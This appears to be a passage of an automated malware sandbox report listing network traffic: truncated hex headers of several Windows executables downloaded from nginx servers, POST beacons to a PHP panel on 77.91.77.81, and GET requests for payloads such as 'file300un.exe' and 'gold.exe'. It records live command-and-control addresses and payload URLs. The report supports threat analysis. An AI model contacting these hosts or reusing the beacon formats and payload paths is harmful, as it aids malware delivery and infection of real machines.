00 00 00 00 00 50 45 00 00 4c 01 07 00 1f 93 53 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 98 0b 00 00 cc 07 00 00 00 00 00 0b 32 00 00 00 10 00 00 00 b0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 13 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 12 13 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 13 00 38 49 00 00 10 7e 0c 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 7d 0c 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 7d 0b 00 00 10 00 00 00 7e 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 62 73 53 00 00 00 00 4e 18 00 00 00 90 0b 00 00 1a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0c 4f 01 00 00 b0 0b 00 00 50 01 00 00 9c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b0 0e 06 00 00 00 0d 00 00 f2 05 00 00 ec 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 64 11 00 00 00 10 13 00 00 12 00 00 00 de 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 30 13 00 00 02 00 00 00 f0 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9d 57 00 00 00 40 13 00 00 58 00 00 00 f2 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:14 GMTContent-Type: application/octet-streamContent-Length: 11256832Last-Modified: Tue, 04 Jun 2024 14:23:51 GMTConnection: keep-aliveETag: "665f2377-abc400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 c9 4f 58 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 29 00 ae 01 00 00 c0 ab 00 00 1e 01 00 f6 10 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 50 ad 00 00 04 00 00 98 fd 02 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 ec 0d 00 00 00 80 03 00 28 b8 a9 00 00 10 02 00 28 08 00 00 00 00 00 00 00 00 00 00 00 40 ad 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e3 01 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 53 03 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 ac 01 00 00 10 00 00 00 ae 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 10 01 00 00 00 c0 01 00 00 02 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 50 2b 00 00 00 d0 01 00 00 2c 00 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 04 00 00 00 00 00 02 00 00 02 00 00 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 08 00 00 00 10 02 00 00 0a 00 00 00 e2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 f8 09 00 00 00 20 02 00 00 0a 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 90 1c 01 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 ec 0d 00 00 00 50 03 00 00 0e 00 00 00 f6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 60 03 00 00 02 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 70 03 00 00 02 00 00 00 06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 b8 a9 00 00 80 03 00 00 ba a9 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 00 00 00 00 40 ad 00 00 02 00 00 00 c2 ab 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:20 GMTContent-Type: application/octet-streamContent-Length: 304128Last-Modified: Tue, 04 Jun 2024 14:24:04 GMTConnection: keep-aliveETag: "665f2384-4a400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 bc 1c 79 92 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 d0 02 00 00 d0 01 00 00 00 00 00 da 9f 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 9f 02 00 4f 00 00 00 00 00 03 00 d4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 6c 9f 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 cf 02 00 00 20 00 00 00 d0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d4 c9 01 00 00 00 03 00 00 cc 01 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 04 00 00 04 00 00 00 a0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:22 GMTContent-Type: application/octet-streamContent-Length: 1834536Last-Modified: Tue, 04 Jun 2024 14:24:10 GMTConnection: keep-aliveETag: "665f238a-1bfe28"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b3 10 d9 23 f7 71 b7 70 f7 71 b7 70 f7 71 b7 70 24 03 b4 71 fc 71 b7 70 24 03 b2 71 5e 71 b7 70 24 03 b3 71 e2 71 b7 70 24 03 b6 71 f4 71 b7 70 f7 71 b6 70 8c 71 b7 70 35 f0 b3 71 e5 71 b7 70 35 f0 b4 71 e2 71 b7 70 35 f0 b2 71 a3 71 b7 70 04 f3 be 71 f6 71 b7 70 04 f3 b5 71 f6 71 b7 70 52 69 63 68 f7 71 b7 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f2 1a 5c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 38 02 00 00 aa 19 00 00 00 00 00 59 73 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 1c 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ea 02 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 1b 00 28 26 00 00 00 f0 1b 00 2c 1c 00 00 20 ce 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 cd 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9a 2f 02 00 00 10 00 00 00 30 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 53 73 00 00 00 00 b3 06 00 00 00 40 02 00 00 08 00 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e a2 00 00 00 50 02 00 00 a4 00 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 e8 18 00 00 00 03 00 00 da 18 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 1c 00 00 00 f0 1b 00 00 1e 00 00 00 ba 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:26 GMTContent-Type: application/octet-streamContent-Length: 511488Last-Modified: Tue, 04 Jun 2024 14:23:46 GMTConnection: keep-aliveETag: "665f2372-7ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 53 df 9c f7 17 be f2 a4 17 be f2 a4 17 be f2 a4 c4 cc f1 a5 1c be f2 a4 c4 cc f7 a5 be be f2 a4 c4 cc f6 a5 02 be f2 a4 d5 3f f6 a5 05 be f2 a4 d5 3f f1 a5 02 be f2 a4 c4 cc f3 a5 12 be f2 a4 17 be f3 a4 68 be f2 a4 d5 3f f7 a5 42 be f2 a4 e4 3c f7 a5 16 be f2 a4 e4 3c f0 a5 16 be f2 a4 52 69 63 68 17 be f2 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a 4b 58 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 38 02 00 00 a0 05 00 00 00 00 00 22 73 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 e9 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 07 00 ec 1b 00 00 18 ce 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 cd 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ba 2e 02 00 00 10 00 00 00 30 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 53 53 00 00 00 00 63 07 00 00 00 40 02 00 00 08 00 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 1e a2 00 00 00 50 02 00 00 a4 00 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f4 df 04 00 00 00 03 00 00 d2 04 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 ec 1b 00 00 00 e0 07 00 00 1c 00 00 00 b2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:29 GMTContent-Type: application/octet-streamContent-Length: 920370Last-Modified: Mon, 03 Jun 2024 20:50:50 GMTConnection: keep-aliveETag: "665e2caa-e0b32"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 86 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 10 08 00 00 04 00 00 00 00 00 00 02 00 60 c1 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 97 05 00 34 00 00 00 d4 97 05 00 50 00 00 00 00 00 07 00 7c ff 00 00 00 a0 06 00 6c 30 00 00 00 00 00 00 00 00 00 00 00 00 08 00 70 09 00 00 c0 36 05 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 37 05 00 28 00 00 00 f0 b3 04 00 40 01 00 00 00 00 00 00 00 00 00 00 00 80 04 00 08 05 00 00 bc 88 05 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e 67 04 00 00 10 00 00 00 68 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 28 01 00 00 80 04 00 00 2a 01 00 00 6c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 5c e7 00 00 00 b0 05 00 00 1a 00 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 6c 30 00 00 00 a0 06 00 00 32 00 00 00 b0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 60 03 00 00 00 e0 06 00 00 04 00 00 00 e2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 5f 52 44 41 54 41 00 00 5c 01 00 00 00 f0 06 00 00 02 00 00 00 e6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 7c ff 00 00 00 00 07 00 00 00 01 00 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 70 09 00 00 00 00 08 00 00 0a 00 00 00 e8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 04 Jun 2024 21:09:32 GMTContent-Type: application/octet-streamContent-Length: 17697280Last-Modified: Tue, 04 Jun 2024 15:14:55 GMTConnection: keep-aliveETag: "665f2f6f-10e0a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 95 d7 5d 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 b6 00 00 00 f2 52 00 00 00 00 00 1e 7b 1b 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 d9 01 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 07 97 01 64 00 00 00 00 00 00 00 00 00 00 00 60 fd d8 01 08 2b 00 00 00 00 00 00 00 00 00 00 00 30 d9 01 14 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 95 1d 01 28 00 00 00 20 fc d8 01 38 01 00 00 00 00 00 00 00 00 00 00 00 20 cb 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d6 b5 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 43 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 d8 52 00 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 a4 01 00 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 10 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 20 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7c 51 2b 00 00 00 00 43 ec 76 00 00 30 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 3d 53 2b 00 00 00 00 50 08 00 00 00 20 cb 00 00 0a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 3c 37 00 00 00 00 68 f8 0d 01 00 30 cb 00 00 fa 0d 01 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 14 01 00 00 00 30 d9 01 00 02 00 00 00 08 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

DNS traffic detected: number of DNS queries: 590

Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: GET /files/file300un.exe HTTP/1.1Host: 5.42.66.47
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/gold.exe HTTP/1.1Host: 77.91.77.81
